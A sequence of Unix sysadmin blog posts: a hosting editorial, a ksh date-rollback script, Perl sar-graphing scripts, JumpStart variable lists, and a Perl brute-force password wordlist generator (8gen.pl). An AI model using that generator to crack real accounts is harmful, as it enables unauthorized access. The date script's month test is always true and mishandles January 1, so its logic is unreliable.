The Linux and Unix Menagerie

Hey there,

As promised today's post is going to be more of a toe-in-the-water Opinion/Editorial piece and (after reading, before reading or anywhere in between) if you could answer the new poll on the right hand column, we'd greatly appreciate it. Depending upon what the community wants, we may be making some drastic changes in the way this blog works and is presented (Nothing bad - our opinion - rather different for the better). Skip to the SUMMATION line if you don't want to read all the nitty-gritty details (this post is running over 2000 words in length before proofing).

PREMISE: Our main issue is that we're seriously considering moving away from Blogspot and transitioning our blog to an independent URL (e.g. http://www.linuxandunixmenagerie.com and/or http://linuxandunixmenagerie.net or http://linuxandunix.net which we've already snatched up). That being said, we want you to know that we're not considering this arbitrarily or on pure whimsy ;) The following is a listing of some of our reasons for considering this move.

1. COMMENTS AND DISCUSSION: This has been a big issue over the year and half that we've been operating and, although the point has become belaboured, we do understand. As things are today, we only accept comments via email for 2 reasons:

a. To avoid comment spamming: This was a problem when we first started out because too many unmoderated comments about porno, violence, drugs, alcohol and everything else reprehensible to Google ended up on posts about "How to change directories" and the situation was unacceptable. Of course, Google would notice and we'd have to worry about getting that NC-17 intro page they put up on some blogs.

b. To avoid comment spamming in Moderation: Same problem as above, except that the exact same situation ends up existing even when you decide to moderate your comments. Assuming that Google's bots are crawling your blog (which they, essentially, own), they also crawl the category, tag, etc directories, including the ones with comments waiting to be moderated. We can't control it because we can't modify the robots.txt file (or upload a .htaccess file) and, inevitably, we'd get a polite email about how we're not supposed to have any pages that violate Google policy, etc, because they crawled our posts (waiting to be moderated and, of course, rejected) before we could read them.

Email was a great solution for a while, but - as some of you out there may know - doing comments by email (although safer, since Google doesn't crawl our email account) is a burden. Now that we've been up for over a year, and this is our 452nd post, we get a lot of email and some of it gets lost in all the non-blog garbage mail. We leave spam filtering off so that we can be sure we don't delete any legitimate mail from users/readers of the site. This results in longer and longer wait times for responses and, sometimes, missing emails altogether until a future date when we circle back around and find a few that slipped by. Most folks are appreciative that we get back to them at all (though it may be months after the original email comment was sent - while other folks are getting same-day service), but it's becoming unacceptable to us.

Allowing moderated comments would relieve some of the pressure on us (allowing users to suggest and provide opinion - even argue if they want ;) and make the site much more organic and natural (since, as things stand now, we have to receive an email, reply to it to get proper attribution permissions and then manually post the comment to the end of any particular post). If our site was not on Blogspot, and was, instead, hosted on our own domain using an entirely separate service provider (not another blog hosting solution like WordPress.com, etc), this part of the site's functionality would improve significantly.

2. SCRIPTS, PICTURES, VIDEO AND OTHER ATTACHMENTS: Currently there is no way for us to make this work to our complete satisfaction. We believe that you'll agree that this is the case, also. For instance, just one such embarrassing moment appeared in our post on really simple steganography in which we posted a series of jpg images to illustrate how easy it was to hide a message in a picture. Although Google allows uploading of jpg's and gif's, it changed all of our original pictures into bmp's, and also our second batch. Of course, this conversion completely ruined the hidden message in the picture's binary structure since it was re-encoded! Video corruption has also been an issue so, when we do that, we host it on YouTube.

A much larger part of this issue is that this site contains a lot of scripts and, given the formatting options we have available (and no ability to attach text files or PDF's, etc), the process of transferring them from the site to your editor of choice can be extremely painful. For instance, if we don't want our code to all push to the left and look like garbage, we have to use the <pre> and <blockquote> tags in the supplied editor. However, as you may have noticed, if you just copy and paste the code from the web page to your editor of choice, it pastes the entire thing as ONE LINE!!! Of course, this makes sense since we're using the <blockquote> tag to retain formatting and indentation, but some of our scripts are very long and reformatting them, again, on your own machine can be a gigantic pain in the arse. We, of course, can access the original text and copy/paste it that way. However, in the instances where we don't have direct access to the admin interface for the blog, the following trick works (although you still end up jumping through hoops):

1. Pull up the page, with the script you want to use, in your web browser.

2. Save the file as a single web page.

3. Open that web page up in any editor that supports divs and/or tables (MS Word or Wordpad, Open Office Writer, etc).

4. Then copy and paste the code portion into a simple editor (like vi or notepad). Note that you shouldn't just resave your web page as a document, as this will also copy all the formatting markups, which is the same as copying/pasting that single line of garbage code by copying/pasting from web browser directly to editor.

Another gripe we have is that we can't include these scripts as attachments for easy download. This would make it so that the scripts would look nice on the web page AND you could download a clean copy and work with that directly.

Moving to our own blog host and domain would allow us to have greater control over the contents of our posts and, in the process, increase their accessibility for you, the reader. If we make this move, we would be able to host all of our own video, pictures, scripts, PDF's and any other multimedia content locally and provide download links for your ease of access and use. It would also allow us to create a "sister site" to the blog where we could provide these downloads on another domain (or subdomain) on the same server, where you could go to find scripts and download them (while obviating the need to host some stuff on SourceForge, which we haven't made public yet because it's just one more thing that we don't have the time to babysit - nothing against SourceForge, of course; it's just impractical to begin managing yet another site in order to keep this blog going). This move would also allow us to host our own CVS repositories and script updates in a more efficient and cohesive manner.

3. BRANDING AND SEO: This one shouldn't be of concern to a majority of readers (by which we mean anyone but the staff ;), but having a site with a domain name that comes somewhat close to the name of the site makes more sense. We're actually indexed very well by Google (Thank you :) and realize that the move would cause us to drop down more than a few pegs (at least for a while) but we can't honestly reconcile this site's Blogspot subdomain name (linuxshellaccount) with this site's actual name (The Linux and Unix Menagerie). Also, having our own site would allow us to include "Terms Of Service," "Privacy Policy" and other such necessary pages in a much less awkward way.

SUMMATION: Again, your input is valuable to us. We appreciate each and every one of our readers (even the ones who think we're a bunch of idiots ;) and want to know how you feel about this proposed change. If you have the time, consider this: Would you prefer that we remain on Blogspot and maintain the status quo or would you prefer that we move to our own self-hosted domain and provide you with a much greater level of service and accessibility that, quite frankly, we feel all of you deserve?

Please take a second and check a box in the poll on the right column near the top and let us know how you feel. We greatly appreciate your input and "will" consider it when making our ultimate decision. Seriously, if everyone wants us to stay on Blogspot, we'll stay here, even though it makes some of what we do more difficult (for us and for you), because the bright side to keeping things the same is that hosting on Blogspot doesn't cost us a dime (only our time and effort).

Also, if we do decide to make this change, and you would like to be informed of our new address, rest assured that we would update all of our social bookmarking sites, forum signatures, Technorati, LXer, etc, and try to work out a deal with Google where we can forward the linuxshellaccount subdomain to our new domain for a while. We would also provide a separate "one-shot" mailing list that you could subscribe to so that we could send you a notification of the new site's address and other details to make your experience more enjoyable and/or efficient. Also, although we have a "Missions and Policies" statement at the top right of every page, we don't have a separate and specific privacy policy listed. However, we can guarantee you that, if you were to sign up for our notification list, we would send you an email with all the information you need, at the time of the move, and never mail you again (except under special circumstances - read on). It's our unwritten policy (actually written in most of our email replies over and over and over again ;) that we will never use your email for any sort of advertising, we won't sell it, we won't trade it, we won't use it to SPAM you with updates about the site (You can subscribe to FeedBurner, on any page, for that ;) and we won't ever write you again unless you initiate contact (whereby all the aforementioned principles still hold true, except for the one where we say we won't ever write you again. We will, however, never reply more than once to any email sent to us). Also, to be clear, if we provide a form whereby you can sign up to be notified of the site's URL change, you will not be signing up to a "mailing list" (insofar as that term is used in Internet Marketing circles). You'll only be adding your name to a list of emails that will be mailed to once, and once only. To carry the analogue just one step further, you will be "unsubscribed" the moment that email is sent. You won't have to jump through hoops or click any back-links to prevent us from bothering you in the future ;) We don't like getting scammed any more than you do and guarantee that your anonymity will not be compromised unless you want it to be. We hold your right to privacy as sacrosanct and will not pull any other email-list stunts that we haven't thought to list here. We have no interest in making your life any harder or filling your email box with ludicrous pap. ...however, if you want to learn how to turn your PC into a self-operating virtual ATM using our proven turnkey system that allows you to make millions while you space out watching TV... ;)

We hope this post has effectively covered what we are looking to do to improve the blog for your ease-of-use, enjoyment and utility and look forward to tallying your poll results. As always, you can send us a comment (via the "Send Me A Comment" link at the top right of every page) regarding this post, just as with any other.

Cheers,

, Mike

For today's post, I thought we'd take a little break from all the graphing and harken back to a simpler time. Or, at least a time when my life was simpler ;)

Our script today is almost totally unnecessary in this day and age. If you use Perl's localtime function or know how to use the date command, this stuff is all taken care of for you. However, the script still stands as a good example of taking into account all the small things that go into something as simple as working with time and date variables that span the passing of a day.

Often, simple scripting constructs like these are overlooked, because they're built in to almost every Operating System and scripting language available at this point in time. However, we do use them almost every time we're tasked with automating menial administration tasks. For instance, if you want to roll the log file for any application, it's usually a good idea to do it just at midnight, at which point it's today, but you need to strip all of the values from your log file from yesterday and, for convenience, time stamp that chunked off log.

Our script today will absolutely positively work on RedHat Linux, Sun Solaris and every other flavor of Unix and/or Linux. It's about as basic as basic gets (although I did go with ksh/bash scripting to simplify the arithmetic and not confuse the issue with a whole bunch of cryptic expr calls).

This script is meant to be more of a function (or a file to be sourced into another script). I only included the bottom "echo" statements for illustrative purposes. You should remove those if you ever use this script, and I've included a legend at the bottom to show example values you can expect to get from the script's variables.

Have fun with this and check it out. If you can't avail yourself of any built-in date/time functions on your system, this might be of great use to you. Going through writing a script like this makes you appreciate the fact that you don't have to know all that much about the calendar or deal with all that messy stuff like "leap years," etc.

You can source in this file by saving it as whatever name you choose (let's say shelldate.h) and adding this line near the top of your script:

. /wherever/you/put/this/shelldate.h

Or you can use this as a function by just wrapping it in a function construct, like so:

function shelldate  {
    CODE HERE
}

#!/bin/ksh

###########################################################
# Dayback - For insertion into other                      #
# scripts.  Takes all aspects of date                     #
# back one ( or more with slight                          #
# variation).                                             #
###########################################################
# All variable output listed at bottom                    #
###########################################################
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
###########################################################

###########################################################
#                     Main Variables                      #
###########################################################

SHORTALPHADAY=`date +%a`
LONGALPHADAY=`date +%A`
NUMBERDAY=`date +%d`
SHORTALPHAMONTH=`date +%b`
LONGALPHAMONTH=`date +%B`
NUMBERMONTH=`date +%m`
SHORTYEAR=`date +%y`
LONGYEAR=`date +%Y`
set -A SHORTALPHADAYS Mon Tue Wed Thu Fri Sat Sun
set -A LONGALPHADAYS Monday Tuesday Wednesday Thursday Friday Saturday Sunday
set -A SHORTALPHAMONTHS Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec
set -A LONGALPHAMONTHS January February March April May June July August September October November December

###########################################################
#                The Number Section                       #
###########################################################

###########################################################
#                  Numbered Days                          #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
 if [ $SHORTALPHAMONTH == "Feb" -o "Apr" -o "Jun" -o "Aug" -o "Sep" -o "Nov" ]
 then
  YESTERNUMBERDAY=31
 elif [ $SHORTALPHAMONTH == "Jan" -o "May" -o "Jul" -o "Oct" -o "Dec" ]
 then
  YESTERNUMBERDAY=30
 elif [ $SHORTALPHAMONTH == "Mar" ]
 then

# Check for leap year

  let LEAPYEAR=${LONGYEAR}%4
  if [ $LEAPYEAR -eq 0 ]
  then
   YESTERNUMBERDAY=29
  else
   YESTERNUMBERDAY=28
  fi
 fi
else
 let YESTERNUMBERDAY=$NUMBERDAY-1
 COUNT=`echo "$YESTERNUMBERDAY" |wc -m`
 if [ $COUNT -eq 2 ]
 then
  YESTERNUMBERDAY=0${YESTERNUMBERDAY}
 fi
fi

###########################################################
#                   Numbered Months                       #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
 if [ $NUMBERMONTH -eq 01 ]
 then
  YESTERNUMBERMONTH=12
 else
  let YESTERNUMBERMONTH=$NUMBERMONTH-1
  COUNT=`echo "$YESTERNUMBERMONTH" |wc -m`
  if [ $COUNT -eq 2 ]
  then
   YESTERNUMBERMONTH=0${YESTERNUMBERMONTH}
  fi
 fi
else
 YESTERNUMBERMONTH=$NUMBERMONTH
fi

###########################################################
#                   Numbered Years                        #
###########################################################
 
###########################################################
#                     Short Years                         #
###########################################################

if [ $NUMBERMONTH -eq 01 -a $NUMBERDAY -eq 01 ]
then
 if [ $SHORTYEAR -eq 00 ]
 then
  let YESTERSHORTYEAR=99
 else
  let YESTERSHORTYEAR=$SHORTYEAR-1
  COUNT=`echo "$YESTERSHORTYEAR" |wc -m`
  if [ $COUNT -eq 2 ]
  then
   YESTERSHORTYEAR=0${YESTERSHORTYEAR}
  fi
 fi
else
 YESTERSHORTYEAR=$SHORTYEAR
fi
 
###########################################################
#                      Long Years                         #
###########################################################

if [ $NUMBERMONTH -eq 01 -a $NUMBERDAY -eq 01 ]
then
 let YESTERLONGYEAR=$LONGYEAR-1
else
 YESTERLONGYEAR=$LONGYEAR
fi

###########################################################
#                 The Alpha Section                       #
###########################################################

###########################################################
#                   Alpha Days                            #
###########################################################

###########################################################
#                   Short Days                            #
###########################################################

i=0
while [ $i -ne 7 ]
do
 if [ $SHORTALPHADAY == ${SHORTALPHADAYS[$i]} ]
 then
  if [ $SHORTALPHADAY == "Mon" ]
  then
   YESTERSHORTALPHADAY="Sun"
   break
  fi
  let j=$i-1
  YESTERSHORTALPHADAY=${SHORTALPHADAYS[$j]}
  break
 else
  let i=$i+1
 fi
done

###########################################################
#                   Long Days                             #
###########################################################

i=0
while [ $i -ne 7 ]
do
 if [ $LONGALPHADAY == ${LONGALPHADAYS[$i]} ]
 then
  if [ $LONGALPHADAY == "Monday" ]
  then
   YESTERLONGALPHADAY="Sunday"
   break
  fi
  let j=$i-1
  YESTERLONGALPHADAY=${LONGALPHADAYS[$j]}
  break
 else
  let i=$i+1
 fi
done

###########################################################
#                   Alpha Months                          #
###########################################################

###########################################################
#                   Short Months                          #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
 i=0
 while [ $i -ne 12 ]
 do
  if [ $SHORTALPHAMONTH == ${SHORTALPHAMONTHS[$i]} ]
  then
   if [ $SHORTALPHAMONTH == "Jan" ]
   then
    YESTERSHORTALPHAMONTH="Dec"
    break
   fi
   let j=$i-1
   YESTERSHORTALPHAMONTH=${SHORTALPHAMONTHS[$j]}
   break
  else
   let i=$i+1
  fi
 done
else
 YESTERSHORTALPHAMONTH=$SHORTALPHAMONTH
fi

###########################################################
#                   Long Months                           #
###########################################################

if [ $NUMBERDAY -eq 01 ]
then
 i=0
 while [ $i -ne 12 ]
 do
  if [ $LONGALPHAMONTH == ${LONGALPHAMONTHS[$i]} ]
  then
   if [ $LONGALPHAMONTH == "January" ]
   then
    YESTERLONGALPHAMONTH="December"
    break
   fi
   let j=$i-1
   YESTERLONGALPHAMONTH=${LONGALPHAMONTHS[$j]}
   break
  else
   let i=$i+1
  fi
 done
else
 YESTERLONGALPHAMONTH=$LONGALPHAMONTH
fi

###########################################################
# Todays Variables: (Example)                             #
###########################################################
# SHORTALPHADAY = Thu                                     #
# LONGALPHADAY = Thursday                                 #
# NUMBERDAY = 01                                          #
# SHORTALPHAMONTH = Jan                                   #
# LONGALPHAMONTH = January                                #
# NUMBERMONTH = 01                                        #
# SHORTYEAR = 98                                          #
# LONGYEAR = 1998                                         #
###########################################################
# Yesterdays Variables: (Example)                         #
###########################################################
# YESTERSHORTALPHADAY = Wed                               #
# YESTERLONGALPHADAY = Wednesday                          #
# YESTERNUMBERDAY = 31                                    #
# YESTERSHORTALPHAMONTH = Dec                             #
# YESTERLONGALPHAMONTH = December                         #
# YESTERNUMBERMONTH = 12                                  #
# YESTERSHORTYEAR = 97                                    #
# YESTERLONGYEAR = 1997                                   #
###########################################################

echo SHORTALPHADAY =  $SHORTALPHADAY
echo LONGALPHADAY =  $LONGALPHADAY
echo NUMBERDAY = $NUMBERDAY
echo SHORTALPHAMONTH = $SHORTALPHAMONTH
echo LONGALPHAMONTH = $LONGALPHAMONTH
echo NUMBERMONTH = $NUMBERMONTH
echo SHORTYEAR = $SHORTYEAR
echo LONGYEAR = $LONGYEAR
echo YESTERSHORTALPHADAY = $YESTERSHORTALPHADAY
echo YESTERLONGALPHADAY = $YESTERLONGALPHADAY
echo YESTERNUMBERDAY = $YESTERNUMBERDAY
echo YESTERSHORTALPHAMONTH = $YESTERSHORTALPHAMONTH
echo YESTERLONGALPHAMONTH = $YESTERLONGALPHAMONTH
echo YESTERNUMBERMONTH = $YESTERNUMBERMONTH
echo YESTERSHORTYEAR = $YESTERSHORTYEAR
echo YESTERLONGYEAR = $YESTERLONGYEAR

Note: Click the above picture to see it at 800x600.

Hey again,

For today's post, we're finally finishing up our four part series on graphing out sar in real time, that we last looked at yesterday. Today we'll be scripting out cached disk reads and writes on a server. This script goes in a little bit of a different direction than the previous three, as we're finally going to go hog-nuts and use bars and lines at the same time (not for the faint of heart ;)

This script was tested on Solaris, and the output from "sar -b" on RedHat is laid out in different order (so the array elements I use to plot the Graph values in this script may not give you the results you desire if you just run it straight-up in Linux). The script below is, again, written in Perl and will, run on Solaris Unix and RedHat Linux (Linux, again, with slight modification)

In our next post, we'll look at the modifications necessary to make all 4 of these scripts work on RedHat Linux. We'll also look at the basic concepts and what we're actually looking for, just in case the next version of the sysstat RPM changes the order of output again!

This script should be run on the host that you're doing the measuring on (since it runs sar at the time you invoke it), like so:

./sarcachegraph.pl

This graph is probably the most annoying out of the 4, which is why I saved it for last. Having cached reads at 100% is pretty much normal on Solaris, so I chose red to make it stand out even more than it would normally. My hope is that none of my superiors will want to look at this ever, and, if they do, they'll never want to again ;)

Remember, click on the picture above to see it at its actual resolution :)

Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# Sarcachegraph.pl
#
# Graph Cached Disk Reads and Writes
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License</a>
#

use GIFgraph::mixed;
open(SARB, "/usr/sbin/sar -b|");
@sarb = <SARB>;
close(SARB);
$my_graph = new GIFgraph::mixed(800,600);
$my_graph->set( 
 x_label => 'Time',
 y1_label => 'Percentage',
 y2_label => 'Percentage',
 title => 'Cache Reads and Writes by Server - host',
 two_axes => 1,
 y1_max_value => 100,
 y2_max_value => 100,
 y_min_value => 0,
 y_tick_number => 5,
 long_ticks => 1,
 x_ticks => 0,
 legend_marker_width => 24,
 line_width => 10,
 bar_spacing => 0,
 gifx => 800,
 gify => 600,
 transparent => 1,
 dclrs => [ qw( red green blue ) ],
 types => [ qw( bars lines ) ],
);
$my_graph->set_legend( qw( Cache_Reads Cache_Writes ) );
$a = $b = $c = 0;
foreach $line (@sarb) {
 next if ( ($line !~ /:/) || ($line =~ /\//));
 @line=split(" ", $line);
 if ( ( $a % 12 ) != 0 ) {
  $pandata0[$a] = undef;
 } else {
  $line[0] =~ s/:00$//;
  $pandata0[$a] = $line[0];
 }
 $pandata1[$b] = $line[3];
 $pandata2[$c] = $line[6];
 $a++;
 $b++;
 $c++;
}
if ( ! $c ) {
 @pandata0[0] = `date "+%H:%M"`;
 @pandata1[1] = 0;
 @pandata2[2] = 0;
}
@data = (\@pandata0, \@pandata1, \@pandata2);
$my_graph->plot_to_gif( "/your/data/dir/sarb.gif", \@data );

Note: Click the above picture to see it at 800x600.

Hey There,

For today's post, we're continuing from yesterday, but moving on to scripting out a graphological representation of the free memory usage on a server. Over the next few days I'll be posting the only other two variations I find that people really want to see all the time (and by people, I mean my managers). Then we'll go over setting them all up to run interactively in CGI so "people" will never bother you again. At least, not for that ;)

We'll also take a quick look, in retrospect, on how to "fix" all four scripts to run using Linux sar from the sysstat RPM. Maybe we'll just make this a graph generation script week. It won't compete with the Oscars, but it might resemble the closest thing we've ever come to a theme amongst a group of consecutive posts on this blog ;)

The script below is, again, written in Perl and will, run on Solaris Unix and RedHat Linux. The script was written specifically to run on Solaris and the output from "sar -r" on RedHat is in slightly different order (so the array elements I use to seed the Graph values in this script won't translate without some modification).

You can run it easily by just invoking it (as it is, it should be run on the host it's measuring, since it runs sar at the time you invoke it):

./sarmemgraph.pl

Note that there are some significant differences in this graph, compared to yesterday's post, including the use of multiple y values. Yay :)

Again, click on the picture above to see it at its actual resolution and enjoy :)

Enjoy,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# sarmemgraph.pl
# Graph Free Memory in Pictorial Form
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License</a>
#

use GIFgraph::lines;
open(SARR, "/usr/sbin/sar -r|");
@sarr = <SARR>;
close(SARR);
$my_graph = new GIFgraph::lines(800,600);
$my_graph->set( 
 x_label => 'Time',
 y1_label => 'MegaBytes',
 y2_label => 'MegaBytes',
 title => 'Free Memory By Server - host',
 y_min_value => 0,
 y_tick_number => 5,
 long_ticks => 1,
 x_ticks => 0,
 legend_marker_width => 24,
 line_width => 10,
 bar_spacing => 0,
 gifx => 800,
 gify => 600,
 transparent => 1,
 dclrs => [ qw( red green blue ) ],
);
$my_graph->set_legend( qw( Real_Memory_Pages_Available Swap_Memory_Available ) );
$a = $b = $c = 0;
foreach $line (@sarr) {
 next if ( ($line !~ /:/) || ($line =~ /\//));
 @line=split(" ", $line);
 if ( ( $a % 12 ) != 0 ) {
  $pandata0[$a] = undef;
 } else {
  $line[0] =~ s/:00$//;
  $pandata0[$a] = $line[0];
 }
 $pandata1[$b] = ($line[1]*8)/1000;
 $pandata2[$c] = ($line[2]/2)/1000;
 $a++;
 $b++;
 $c++;
}
if ( ! $c ) {
 @pandata0[0] = `date "+%H:%M"`;
 @pandata1[1] = 0;
 @pandata2[2] = 0;
}
@data = (\@pandata0, \@pandata1, \@pandata2);
$my_graph->plot_to_gif( "/my/stats/directory/sarr.gif", \@data );

In Yesterday's post, we took a look at how it's possible to use Perl to deal with generating random passwords, and that post was meant to link in with its preceding post. While it, technically, fulfilled that requirement, it took a while to elaborate on scripting out random passwords so I tried to keep on point, since it turned out to be a post's worth of information in itself.

With that in mind, in today's post, we're going to look at another part of the password puzzle: Generation of all possible passwords within a given numeric range. This might otherwise be referred to as brute-force password generation (which is the reason I wrote it using brute-force scripting :). What we're going to accomplish today is to create a simple "password generator" script that will allow us to generate all possible passwords (or all possible combinations of the 94 standard ASCII characters that make up valid passwords) up to an 8 character password. This has been tested on both Solaris Unix and RedHat Linux. One day, I'll stop compulsively typing that. If a script works in Perl, using that language's basics, its a given that it will work on most Unix/Linux systems you can install it on.

Please bear in mind that using this program is simple, but, depending on how you use it, it may take up all of your disk space and lots of your computer's time ;)

By way of explanation: This script produces one entry per line into a file, so that you could feed that file to a program like the one we looked at in this post.

Now, if we were to run it with the following arguments (we'll call it 8gen.pl for whatever goofy reason I pick the names I pick for my scripts ;)

host # ./8gen.pl 1 >OUTPUT <--- Note that, especially when running with larger number arguments, you should redirect the script output to a file, rather than "tee" it off, since viewing the tty/pty buffer as password combinations are generated could introduce a giant lag between completion of the script's execution and your getting a shell prompt back!

it would generate, in under a second, a file 94 lines long, with each line containing 1 of each of the 94 characters available (Please see the script's @94 array to check out all the variables. It's too insane to type over and over again ;), like this:

host # wc -l OUTPUT
host #      94 OUTPUT

host # wc -l OUTPUT
host #      8836 OUTPUT

host # echo 94 4 ^ p | dc
host # 78074896
host # ./8gen.pl 4 >OUTPUT
host # wc -l OUTPUT
host #      78074896 OUTPUT

host # time ./8gen.pl 2 >OUTPUT
real    0m0.47s
user    0m0.04s
sys     0m0.38s
host # time ./8gen.pl 4 >OUTPUT
real    5m59.03s
user    5m37.10s
sys     0m2.86s

#!/usr/bin/perl

#
# 8gen.pl - generate all possible password
# combinations up to 8 characters
# Usage: 8gen.pl Password_Length (1 - 8)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#{ARGV} < 0 ) {
 print "\nUsage: $0 password_length\n";
 print "Only 8 characters please.   This is\n";
 print "going to take a long time as it is!\n";
 exit(1);
}

$pass_length = $ARGV[0];

@94 = qw(a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ` 1 2 3 4 5 6 7 8 9 0 - = [ ] \ ; ' , . / ~ ! @ # $ % ^ & * ( ) _ + { } | : " < > ?);

if ( $pass_length < 1 || $pass_length > 8 ) {
 print "Usage: $0 password_length\n";
 print "Only 8 characters please.   This is\n";
 print "going to take a long time as it is!\n";
}

$a = $b = $c = $d = $e = $f = $g = $h = 94;

if ( $pass_length == 8 ) {
 for ($a=0;$a<94;$a++) { for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s%s%s%s%s%s%s\n", $94[$a], $94[$b], $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
 } } } } } } } }
} elsif ( $pass_length == 7 ) {
 for ($b=0;$b<94;$b++) { for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s%s%s%s%s%s\n", $94[$b], $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
 } } } } } } }
} elsif ( $pass_length == 6 ) {
 for ($c=0;$c<94;$c++) { for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s%s%s%s%s\n", $94[$c], $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
 } } } } } }
} elsif ( $pass_length == 5 ) {
 for ($d=0;$d<94;$d++) { for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s%s%s%s\n", $94[$d], $94[$e], $94[$f], $94[$g], $94[$h]);
 } } } } }
} elsif ( $pass_length == 4 ) {
 for ($e=0;$e<94;$e++) { for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s%s%s\n", $94[$e], $94[$f], $94[$g], $94[$h]);
 } } } }
} elsif ( $pass_length == 3 ) {
 for ($f=0;$f<94;$f++) { for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s%s\n", $94[$f], $94[$g], $94[$h]);
 } } }
} elsif ( $pass_length == 2 ) {
 for ($g=0;$g<94;$g++) { for ($h=0;$h<94;$h++) {
  printf("%s%s\n", $94[$g], $94[$h]);
 } }
} elsif ( $pass_length == 1 ) {
 for ($h=0;$h<94;$h++) {
  printf("%s\n", $94[$h]);
 }
}

Today, we're going to finish up what we started in yesterday's and the previous day's posts detailing the customization of Solaris JumpStart using simple Unix shell scripting techniques.

Please, only go back there and read those if the specific topics are of interest to you. If you're just looking for a good collection of available scripting variables for Begin and Finish scripts, you'll thank me for saving you the time ;)

Both Begin and Finish scripts export a certain number of variables automatically. Following is a list of the ones I've discovered during the process of working with the program. The following sections are divided into CRASH (The environment you're left with if you crash to a restricted root shell at any point during the installation), BEGIN (The environment exported during the execution of your begin script) and FINISH (The environment exported during the execution of your finish script). I've denoted the more useful variables (insofar as scripting is concerned) by indenting them slightly more.

Note that all of these variables were found by terminating the execution of JumpStart at the given point and dumping the output of the commands "set" and "env" - I filtered out the variables that were off-topic. Please note, also, that these variables exclude the JASS and SST environment variables, as my aim here is to provide a listing of all available variables that can be used in Begin and Finish scripts no matter what your situation. You can use these whether or not you decide to avail yourself of the additional Solaris JumpStart custom packages Sun has put together over the years (Basically, to make it so you don't have to do any security hardening on your own. I'm not saying this is a bad thing; only that you may know what you want to control and not require that "convenience").

NOTE: Surprisingly enough, there is no SI_INSTALL_DIR or SI_INST_DIR variable provided to indicate your installation directory (e.g., /export/install).

Hopefully, having this list of Solaris Unix variables will prove useful to you at some point during your JumpStart scripting endeavors!

Good Luck and Best Wishes,

CRASH:

    HOME=/tmp/root 
PATH=/sbin:/usr/sbin/install.d:/usr/sbin:/usr/bin 
PLATFORM=sparc
SHELL=/sbin/sh
TEXTDOMAIN=SUNW_INSTALL_SCRIPTS
TZ=PST8PDT
_DVFS_RECONFIG=YES

BEGIN:

CHECK_INPUT=/tmp/install_config/rules.ok
    HOME=/tmp/root
LANG=en
LC_COLLATE=en_US
LC_CTYPE=en_US
LC_MESSAGES=C
LC_MONETARY=en_US
LC_NUMERIC=en_US
LC_TIME=en_US 
    PATH=/sbin:/usr/sbin/install.d:/usr/sbin:/usr/bin
PLATFORM=sparc
    SHELL=/sbin/sh
    SI_BEGIN=jclient_begin
    SI_CLASS=jclient_class 
    SI_CONFIG_DIR=/tmp/install_config (This is the default, but you should have set it to /export/install with the add_install_client command) 
SI_CONFIG_FILE=/tmp/install_config/rules.ok 
SI_CONFIG_PROG=rules.ok
    SI_FINISH=jclient_finish
    SI_HOSTNAME=jclient 
SI_INSTALL_APP=jumpstart 
    SI_PROFILE=/tmp/install_config/jclient_class 
    SI_SYS_STATE=/a/etc/.sysIDtool.state TERM=vt100
TEXTDOMAIN=SUNW_INSTALL_SCRIPTS
TZ=US/Central
_DVFS_RECONFIG=YES

FINISH:

CHECK_INPUT=/tmp/install_config/rules.ok
    HOME=/tmp/root
LANG= 
LC_COLLATE=en_US
LC_CTYPE=en_US
LC_MESSAGES=C
LC_MONETARY=en_US
LC_NUMERIC=en_US
LC_TIME=en_US 
    PATH=/sbin:/usr/sbin/install.d:/usr/sbin:/usr/bin
PLATFORM=sparc
    SHELL=/sbin/sh
    SI_BEGIN=jclient_begin
    SI_CLASS=jclient_class 
    SI_CONFIG_DIR=/tmp/install_config 
SI_CONFIG_FILE=/tmp/install_config/rules.ok 
SI_CONFIG_PROG=rules.ok
    SI_FINISH=jclient_finish
    SI_HOSTNAME=jclient 
SI_INSTALL_APP=jumpstart 
    SI_PROFILE=/tmp/install_config/jclient_class 
    SI_SYS_STATE=/a/etc/.sysIDtool.state
TERM=vt100
TEXTDOMAIN=SUNW_INSTALL_SCRIPTS
TZ=US/Central
_DVFS_RECONFIG=YES

Today, I'm extending on what I wrote about in yesterday's post on creating Derived Profiles for JumpStart using simple Unix shell scripting techniques. If you don't feel like going back and reading over all that now, I'll start out by summarizing and sparing you the possibly-irrelevant-to-your-situation details ;)

